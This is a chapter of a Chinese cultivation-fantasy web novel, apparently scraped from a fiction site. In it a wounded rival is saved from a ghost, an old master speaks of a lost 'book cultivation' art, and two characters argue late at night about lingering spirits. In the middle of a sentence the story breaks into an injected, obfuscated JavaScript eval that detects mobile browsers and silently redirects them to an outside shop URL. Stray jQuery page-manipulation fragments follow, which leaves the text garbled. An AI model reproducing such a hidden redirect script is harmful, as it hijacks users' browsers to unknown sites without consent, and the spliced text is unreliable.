文趣网 > 其他小说 > 书圣姐姐今天也在装神弄鬼 > 7. 初次道来
    顾长安大喊,秦元冷笑一声,没把这句话放在心上一般,反倒步步逼近。顾长安侧身躲避,他刚才的位置被砸出一个巨坑。

    刚才那一击,如果他硬抗下的话绝对好不到哪去。

    顾长安咬牙切齿,“你们体修果真是不练脑子。”他瞳孔骤缩,“傻子,看你身后!”

    顾长安的这番反应终于让秦元停了下来,他这才感觉到身后有一股阴气,顺着他的脊背往上爬。

    方才打斗时候明明没有丝毫鬼气,但就在一瞬,那股气息骤然倾泻而出,仿佛它早已潜伏在暗处,只等这一刻靠近。秦元顿感不妙,不过阴气瞬息间便覆上他脖颈。

    陈见微大喊,“顾长安,剑刺过去!”

    刹那间,一符一剑同时掠出,朝秦元袭来,符纸在前,顾长安的剑紧随其后,剑鸣撕开林间死寂,直奔秦元面门。

    抵挡这一招,绝非容易。

    “你们落井下石!”秦元咬牙道。

    此刻他别无他法,抬手起势,准备接下迎面而来的两击。

    就在阴气攀上秦元后脑的一瞬,他抬臂挡住面门,他将灵力尽数灌入四肢百骸,皮肤表面瞬间泛起一层光泽。

    林子里安静了,秦元维持在这个姿势几秒,然后抬起头。发现自己安然无恙,他表情有一瞬间的凝滞,随后看向身后。

    那一符一剑并未落在他身上,而是擦过肩侧,将身后的东西死死钉在树干上。

    符纸被剑尖钉入树干,树干的裂纹顺着剑刺入的点裂开,延伸至树根,上面的树枝也被波及。而那股阴气此时已然消失。

    秦元手指抽动了一下,随后走到树边,拔下剑。眼神在符纸上停留了一秒,很快便转过身。符纸已经破损,看不出上面的字迹,但能分辨出,内容并不是寻常符箓的画法。

    这张符出自谁手,已经很明了了。

    他把剑交给顾长安,朝着两人抱拳鞠了一躬,“多谢二位相救。今日之事多有得罪,日后必定赔罪。”

    随后,秦元又转向陈见微,“今日之事多有冒犯,望姑娘莫要怪罪。秦某还有要事在身,不便多留,来日再给姑娘赔罪。”说到这他顿了顿,摸出一个令牌递给陈见微,“今日是秦某行事不当,日后姑娘若遇降云峰之人刁难,可持此令寻我。”

    他说完这句话,便掷出一张传送符离开,留下二人面面相觑。

    “边走边说吧,这么晚了,他们该担心了。”

    说完,顾长安便掷出一道传送符,顷刻间,二人已回到客栈前。

    “……所以他真的只是想打探我会不会镇鬼?”

    “情况大致如此。这里不便谈话,我们上去说。”顾长安推开门走了进去。

    二人一回客房,便见谢云立于窗前,手在窗台上轻敲,一下一下,声音不重,却让屋内莫名显得有些压抑。

    老头坐在桌前,这会没有酩酊大醉。二人推门而入的瞬间,他一扫阴霾,眼睛瞬间亮了。

    谢云也收回手,朝二人看过来。转过身的时候,陈见微发觉这人万年不变的表情居然有一丝裂痕。

    他眉头皱了。

    老头一个健步冲上前,死死抓住陈见微胳膊,语气竟第一次带着担忧,“哎呦老夫的宝贝徒儿,你可算回来了。咋样啊,有没有受伤?”

    “我没事,多亏顾长安及时赶到。”

    接着,二人讲述了今天遭遇的一切,以及秦元的事情。顾长安没有多说,只说了一些关于秦元的身份信息。

    秦元是降云峰峰主的关门大弟子,他还有一个师弟。相较于清静峰剑修占多数,降云峰内则是体修占多数。

    最后他转过身面对陈见微,面色是少有的凝重,“我估计他会把这事禀告宗门。你的能力特殊,以后只会招来更多人的目光,其中也包括那些不怀好意的人。”

    陈见微早有预料,她的能力会带来很多是非,但没想到,居然来的这么快。而现在她还没有摸清楚这能力到底是怎么一回事。她深吸一口气,

    “我知道了,今天开始我会开始提升我的能力。只是……这股力量,我自己其实也不是很清楚。”

    几人面面相觑。

    老头咳嗽一声,“徒儿啊,老夫既然是你的师父,就会对你负责。你放心,那些人如果想对你不利,老夫替你挡回去!”

    “站着说话不腰疼,你有那本事吗。”顾长安没忍住白了一眼。

    “你这小儿。”老头的胡子抖了抖,“本事可不止武力,智力也在其中。老夫的年岁可不是白长的,很久之前的一些事情,你们这种小娃娃不清楚是自然。”

    顾长安撇了撇嘴,明显对此没放在心上。但老头说的这番话倒是让谢云侧目,他点了点桌。

    “老先生此话意思是,清楚陈姑娘身上这股能力的情况?”

    “咳咳”,老头高深莫测地捋了捋胡子,“修仙界在很久之前有一种人,修的不是现在修士所修能力中的任何一种。那种修为方式极为苛刻,极有天赋之人才能觉醒此能力。其威力也远胜寻常修者,这就是——书修。”

    陈见微怔在原地,第一次觉得自己那一个“镇”字,似乎真的牵连着某种失落已久的东西。顾长安则是满脸狐疑。只有谢云没有出声,落在桌面的指尖停了片刻。

    老头急了,“老夫所言无半分假!”

    “你怎么知道这么清楚?”陈见微蹙眉。

    话说回来,她想起两人刚见面时老头就同她说过,觉得她不一般。这人从那时起就看出来了?

    陈见微看向老头的眼神也带了几份探究。

    “老夫阅览天下古籍千万,自然是什么都知。”他得意的抖了抖胡子。

    “那我要怎么修炼?”

    “……”

    “这个嘛……书修与寻常修士不同,没有统一功法。”老头难得认真了一瞬,“每个人的字、心境与所悟之道都不同。至于你该怎么修……”

    老头挠了挠后脑勺,“还得你自己试。”

    顾长安嗤笑一声,装模作样的咳嗽一下,模仿老头刚才的模样,“阅览天下古籍千万。”

    随后看着老头涨红的脸和那即将要爆发的状态,才勉强让自己不笑出声。

    “修行当然要静心凝神!何况,古籍确实未详尽记载书修如何修行……”

    “好了好了,又没说你说的是假的。”顾长安拍了拍陈见微肩膀,亲密得仿佛两人是早已结识多年的密友,“修炼这事儿你别听他扯了,万一走火入魔可拉不回来。”

    谢云扫了一眼顾长安的那只手,不动声色收回视线。

    陈见微浅浅一笑,“知道了,我自己慢慢摸索,会小心的。”

    外面街道寂静无比,一座座房子的灯光也尽数熄灭,已然进入深夜。顾长安二人便没再多留,起身告别。

    陈见微送别二人,一屁股压在床上。脑海里还是刚才老头所说的话。她正想再问,却不想旁边已经传来震天动地的鼾声。

    “……”

    陈见微叹了口气,随后也闭眼躺下。

    半个小时过去了。

    “靠,你是牛投胎

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824245|211220||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的吗!”

    回应她的只是那震天动地的鼾声,老头没有半分苏醒的迹象。陈见微烦躁地抓了抓头发,翻身坐起,随后出了房门。

    他们房间出去后刚好可以看见下面的景象。只见下面除了守店的小二,谢云居然也端坐在下面,正缓缓地饮下一口茶。

    许是察觉到视线,他抬眼扫过来。

    陈见微来不及躲,被抓了个正着。今天都是什么事儿啊……

    她只得硬着头皮走下楼,在谢云对面坐下。谢云没说话,陈见微尴尬地挠了挠头。

    “哈哈,谢兄,你怎么也不睡。”

    “睡眠于修者来说可有可无,全凭喜好。”

    他给陈见微倒了一杯茶,陈见微点了下头,接过来浅浅喝了一口。

    “那顾长安……”

    “睡下了。”

    “噗。”

    意思是顾长安喜欢睡大觉吗。

    二人相对而坐。谢云话本就不多,更多时候都是陈见微在找话头。只是,每个话头落到谢俞那里,总会被他两三句话说死。

    “谢某倒是有个问题想问姑娘。”他放下茶杯,垂眸理了理袖口,“为何会出手相救秦元?”

    “救人需要理由?”

    “不需要?”

    “我能感觉他没有恶意,能帮就帮了呗,当时也没想太多。虽然我知道那只小鬼应该也伤不了他多少。”

    谢云眸色暗了暗,指尖摩挲着杯口,“陈姑娘当真是人美心善……”他顿了顿,继续道,“如若今日不是秦元,而是其他人或是鬼怪呢?”

    陈见微搓了搓胳膊,只觉这空气好像冷了半分。

    “就算是鬼,也不见得都是坏的鬼吧?”陈见微紧了紧前襟,“我家乡那边倒是有一个说法,你见到的鬼怪可能是别人日思夜想的人。”

    谢云指尖停了一瞬。

    “正常人过世入轮回才是正道。姑娘家乡那边的说法倒是奇特。”谢云浅浅一笑。

    从几人结伴而行到现在,谢云笑的次数屈指可数。更多时候只是皮笑肉不笑,虽然刚才这笑极浅,但却不同与之前。

    笑意与他说出口的冷淡话毫不相称。陈见微竟一时忘了接话,盯着谢云的脸看入了神。

    谢云无视陈见微的视线,放下杯子起身,“滞留在人间,将来不是成厉鬼就是无法投胎,魂飞魄散。”

    他顿了顿,似是在寻找说辞,“人总喜欢给执念冠以深情之名,可若因此困住亡魂,使其不得轮回,那不是感人,只是活人的自私。”

    “姑娘心软,”谢云垂下眼,“可修道之人若事事随情,迟早会被情所困。”

    最后丢下这句话谢云就上了楼,留下陈见微独自品味。待她回过神,抬头一看谢云已经快要走到房间门口。

    “照你这么说,人死了就该立刻走,活着的人也不该哭,不该念,不该舍不得?”陈见微深吸一口气,“若真是什么都按规矩来,人和你们山上的石头有什么区别!”陈见微朝着那道背影吼道。

    谢云脚步一顿,“是么?”

    丢下这句话他便转身进入房内,不再给陈见微说话的机会。

    靠,这都是什么神人啊!!

    大半夜不睡觉,感情在这下面思考人生呢。早知道就不出来了!

    好气!

    陈见微摔下茶杯,一步一步狠狠上楼,经过谢云他们房间时还刻意加重脚步。

    回到房间时老头依旧熟睡。她坐回床上,躺在床板上盯着天花板出神。

    好硬的床板……